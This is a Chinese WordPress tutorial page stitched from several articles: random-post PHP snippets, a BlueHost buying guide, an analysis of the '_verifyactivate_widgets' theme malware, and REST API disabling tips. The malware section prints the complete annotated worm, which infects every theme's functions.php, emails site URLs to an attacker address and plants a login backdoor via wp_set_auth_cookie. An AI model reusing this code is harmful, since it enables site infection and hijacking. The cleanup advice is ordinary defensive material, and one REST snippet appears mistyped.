分享几个WordPress不用插件调用随机文章的方法,不仅增强用户粘性,而且当蜘蛛来爬你的文章的时候每次都会有变化,搜索引擎很喜欢。主要用到的是orderby rand参数,下面就随ytkah一起来看看吧
1、最直接的用法,在需要的位置放入下面的代码。
- <?php
- $args = array( 'numberposts' => 5, 'orderby' => 'rand', 'post_status' => 'publish' );
- $rand_posts = get_posts( $args );
- foreach( $rand_posts as $post ) : ?>
- <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
- <?php endforeach; ?>
2、用query_posts生成随机文章列表
- <?php
- query_posts(array('orderby' => 'rand', 'showposts' => 2));
- if (have_posts()) :
- while (have_posts()) : the_post();?>
- <a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a>
- <?php endwhile; ?>
- <?php endif; ?>
- <?php
- query_posts(array('orderby' => 'rand', 'showposts' => 1));
- if (have_posts()) :
- while (have_posts()) : the_post();
- the_title(); //这行去掉就不显示标题
- the_excerpt(); //去掉这个就不显示摘要了
- endwhile;
- endif; ?>
3、调用同分类随机文章
- <?php
- $cat = get_the_category();
- foreach($cat as $key=>$category){
- $catid = $category->term_id;
- }
- $args = array('orderby' => 'rand','showposts' => 8,'cat' => $catid );
- $query_posts = new WP_Query();
- $query_posts->query($args);
- while ($query_posts->have_posts()) : $query_posts->the_post();
- ?>
- <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
- <?php endwhile;?>
- <?php wp_reset_query(); ?>
4、用wp_query函数
- <?php
- $args = array(
- 'post_type' => 'post',
- 'showposts' => 4,
- 'orderby' => 'rand',
- 'cat' => -36,//除了id为36的分类
- );
- $my_query = new WP_Query($args);
- if( $my_query->have_posts() ) {
- while ($my_query->have_posts()) : $my_query->the_post(); ?>
- <div class="item">
- <a href="<?php the_permalink(); ?>" class="box">
- <?php the_post_thumbnail( array(285,360) ); ?>
- <div class="text">
- <strong><?php the_title();?></strong>
- </div>
- </a>
- </div>
- <?php endwhile; wp_reset_query(); } ?>
5、主题function定义

- /**
- * 随机文章
- */
- function random_posts($posts_num=5,$before='<li>',$after='</li>'){
- global $wpdb;
- $sql = "SELECT ID, post_title,guid
- FROM $wpdb->posts
- WHERE post_status = 'publish' ";
- $sql .= "AND post_title != '' ";
- $sql .= "AND post_password ='' ";
- $sql .= "AND post_type = 'post' ";
- $sql .= "ORDER BY RAND() LIMIT 0 , $posts_num ";
- $randposts = $wpdb->get_results($sql);
- $output = '';
- foreach ($randposts as $randpost) {
- $post_title = stripslashes($randpost->post_title);
- $permalink = get_permalink($randpost->ID);
- $output .= $before.'<a href="'
- . $permalink . '" rel="bookmark" title="';
- $output .= $post_title . '">' . $post_title . '</a>';
- $output .= $after;
- }
- echo $output;
- }
然后在想要显示随机文章的地方加入如下代码
- <div class="right">
- <h3>随便找点看看!</h3>
- <ul>
- <?php random_posts(); ?>
- </ul>
- </div><!-- 随机文章 -->
the_category()函数的作用是以链接形式显示指定文章ID的分类
语法结构
<?php the_category($separator, $parents, $post_id); ?>
参数
$separator 指定间隔符号,常用的有 (?)、(>)、(| )、(-);
$parents 分类显示方式,两个值multiple和single;
$post_id 文章的ID号;
实例
<?php the_category('|'); ?>
<?php the_category( '> ' ); ?>
1 网站空间的比喻
本文是《WordPress建站教程》系列文章的第 6 部分,该系列共包含以下 21 个部分:
BlueHost中文教程:教你如何以优惠价格购买BlueHost美国主机?

点此查看 BlueHost最新优惠价格
如果英文不好,推荐使用谷歌浏览器自动翻译 ▼
谷歌浏览器怎么自动翻译?Chrome自带翻译快捷键
很多网络营销新手,在上NameSilo国外网站购买域名、学习用WordPress来建站时,看不懂英文怎么办?我们推荐使用谷歌浏览器Chrome自带的,网页自动翻译功能 ▼相信很多从事外贸的电……

BlueHost主机是一款不错的商务型主机,也是中国站长使用最多的主机之一。
购买(租用)网站空间,就好比你在网上租了一块空地:
一般是用来建立企业网站、个人博客、外贸网站以及仿牌产品网站,之所以选择BlueHost是因为其性能和稳定性都是一流的。
有不少人都想用BlueHost优惠码购买,但是到目前为止,都没有看到BlueHost官方提供过什么优惠码,所以BlueHost优惠码是不存在的。
第 1 步:如何以特别优惠的价格购买BlueHost美国主机?
如果真的想要以特别优惠的价格购买BlueHost,可以点击以下链接进入BlueHost官方网站,查看BlueHost最新优惠价格。
温馨提示:
不同促销活动的价格会有所不同。
(请关注我们网站,以获取最新优惠信息)
以下截图是最近的优惠,并且不保证长期有效。

第 2 步:点击 get started now 按钮,进入主机套餐选择页面 ▲
第 3 步:选择主机套餐
建议你在此选择 prime 套餐,可以在同一空间中创建多个网站 ▼

第 4 步:输入域名
左侧是输入新注册域名,购买Bluehost主机会赠送一个免费域名。
我一般选择右侧,建议输入已有的域名(因为赠送的域名,还可以在之后进入Bluehost后台免费注册的) ▼

第 5 步:填写个人信息

填写注册人的基本信息、姓名、地址和电子邮件地址 ▲
(务必如实填写,这是证明域名所有权的重要信息。)
第 6 步:选择主机套餐
向下拉到页面中间,并选择主机套餐 ▼

1)SiteLock Security – Find
2)Codeguard Basic
3)Bluehost SEO Tools Start
4)Comodo PositiveSSL
温馨提示:这些附加功能建议不勾选,以后有需要可以再购买, 没有必要在这一步骤决定购买。
第 7 步:选择和输入付款信息
继续往下拉到页面底部,并选择付款信息。
默认情况下,只显示信用卡付款。
点击“More payment options”,PayPal付款选项将会出现 ▼

填写好后,勾选 “I have read and agree to Bluehost’s Terms of Service, Cancellation Policy and Privacy Policy.”
确认你已阅读并接受BlueHost的服务条款,然后点击 “submit” 提交即可提交。
成功付款后,你将收到BlueHost的电子邮件,其中包含帐户名称和密码,登录cPanel后台以及有关如何使用它的一些说明,请按照说明完成。
Cpanel后台提供各种功能,例如一键安装WordPress,电子邮件帐户设置,FTP帐户设置等。
购买Bluehost主机的中文教程,到此完毕!
请勿随意填写帐户信息,尤其是姓名和付款信息。
如果你的帐户名称与你的信用卡或PayPal所有者的名称不同,BlueHost需要发送你的ID和其他证明来验证你的主机,这样很麻烦……
另外,邮箱不能输入错误,因为你要接收BlueHost系统电子邮件,邮件里有你的主机帐户信息。
最初的购买建议是3年,因为美国托管服务提供商提供各种优惠给新客户,非常不错,毕竟使用BlueHost空间是非常稳定的。
如果你购买廉价空间,非常不稳定,经常打不开……
点
希望我们网站( https://www.wordpressx.com/ ) 分享的《BlueHost主机怎么样?最新BlueHost美国优惠码/优惠券》,对您有帮助。
1 WordPress主题function.php文件里的恶意代码
最近我们在使用Wordfence Security安全插件扫描网站恶意代码之后,发现了WordPress主题的function.php文件里,隐藏恶意病毒代码。
WordPress中“恶意代码”最有可能出现的地方是主题目录下的function.php,通常是隐藏在function.php文件的结尾。
主要问题:该恶意代码会在每次有人访问你的博客页面时,检测当前博客下的所有主题是否都被感染,如果没有,就会一起被感染。
之后在执行wp的初始化动作init的时候,会检查当前博客是否有发邮件到邮箱 [email protected]gmail. com
怎么知道是否发了?
_is_widget_active_的选项,如果已经发送成功,则将其值设置为1;恶意病毒代码如下(可能会有一些差异,但基本代码是一样的):
<?php
function _verifyactivate_widgets(){
//当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签,其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
//为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的,连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “nt”); fputs($f=fopen($item,”w+”),$cont . $comaar . “n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的,则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}
//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录?再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}
//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
//这个动作添加了,用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);
function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;
//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :
global $wpdb, $post;
//取出存在已经通过的评论(不包括trackback/pingback)的文章
// post_author 为 [email protected] 的文章,肯定是没有的
$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND post_author=”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m” AND post_password=”” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;
//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用 wp_mail 向 [email protected] 发送邮件,标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “sntrx0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}
//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . “”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “n”;
} else {
$output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “” title=”” . $more_text_link . “”>” . $link_text_more . “</a></” . $tag . “>” . “n”;
}
}
return $output;
}
//这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);
//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS ”comment_count” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=”1” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish””;
if(!$show_pass_post) $request .= ” AND post_password =”””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=”” . $permalink . “” title=”” . $post_title.“”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>
WordPress主题恶意代码有哪些?
如果使用Wordfence Security安全插件扫描确定你的function.php文件被篡改了,需要检查一下,例如:

清理起来也很简单,只要在WordPress主题的function.php文件中,找到上面类似的代码并删除即可,但是因为一旦被感染,你的themes主题目录下的所有主题会被感染,所以只清除当前使用的主题是无效的,清除后很快就会生成。
解决方法是清除一个WordPress主题的恶意病毒代码后,将functions.php文件设置为444权限,然后清除其它WordPress主题。
至于最后一个functions.php文件的444权限是否需要改回来,们人建议444还是比较安全的,需要修改的时候可以修改。
我们推荐 Wordfence Security 的 WordPress 插件,一个集成了防火墙和恶意代码扫描的 WordPress 安全插件,由一个大型团队构建和维护,100% 专注于 WordPress 安全。
虽然有付费模块,但我们可以使用免费模块“扫描”来扫描我们的WordPress网站,检查包含“恶意代码”的PHP文件,虽然有一定的误报率(主要是一些正版插件, 主题加密组件会被误报),但查找“恶意代码”肯定是事半功倍。
需要注意的是,这个插件不建议经常开启,因为它的防火墙和安全防护会对数据库造成一定的负载压力,影响网站的性能。
通常,启用插件以在需要时运行“扫描”扫描。
排查完毕后关闭插件,以备不时之需。
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress主题如何清理恶意代码_verifyactivate_widgets》,对您有帮助。
为了保护wordpress数据的安全,对于展示型网站我们强烈建议将wordpress的接口文件wp-json禁用,以防止网站数据泄露。
WordPress网站一般会有开放的接口来获取网站元数据
参考:https://developer.wordpress.org/rest-api/reference/posts/
例如这个样例网站:https://www.wordpressx.com/
获取他们博客列表接口为:
https://www.wordpressx.com/wp-json/wp/v2/posts
一般读接口都是不保护的,你直接浏览器打开就能访问到。
我们一般抓取一个WordPress网站,只需要抓取他的posts、categories、tags即可。

WordPress 4.4 版本以后便具备了 REST API 功能,也就是通过 wp-json 的 URL 就可以访问,通过 REST API 生成的 JSON 接口,可以轻松的获取网站数据,便于做 APP 或者小程序的调用接口等,然而为了防止被其他人公开调用,可以增加权限判断和 IP 限制,当然老黑觉得也可以修改一下“wp-json”这个访问路径。
WP REST API 是 WordPress 的一个功能,为其提供对外标准的 RESTFul 接口,随着 RESTFul 的畅行和各种前端框架的出现,WP REST API 可以让 WordPress 不仅仅存在 Web 端,可以让 WordPress 不仅仅履行一个博客功能,而是可以让它作为后台终端(BackEnd),然后以各种应用的形式实现在各种各样的设备中。
其实修改非常简单,算是一行代码就可以搞定,因为 WordPress 本身就提供了一个 rest_url_prefix 的动作钩子,直接返回我们需要修改成最终的路径即可,代码如下:
// 自定义 WordPress wp-json 路径
add_filter( 'rest_url_prefix', function() {
return 'wp-json';
});
直接将代码放置到当前主题 functions.php 文件中,然后记得在 WordPress 后台-设置-固定链接中点击一下保存,这样固定链接才会被 WordPress 刷新,代码才会完全生效,然后就可以直接访问了。
//禁用 REST API、移除 wp-json
add_filter('rest_enabled', '_return_false');
add_filter('rest_jsonp_enabled', '_return_false');
remove_action( 'wp_head', 'rest_output_link_wp_head', 10 );
remove_action( 'wp_head', 'wp_oembed_add_discovery_links', 10 );
当然也可以通过以上四行代码禁止 WP REST API,从而彻底关闭 WordPress 的 json 数据,如果你的 WordPress 没有使用,那么老黑建议禁止关闭该功能是很有必要的。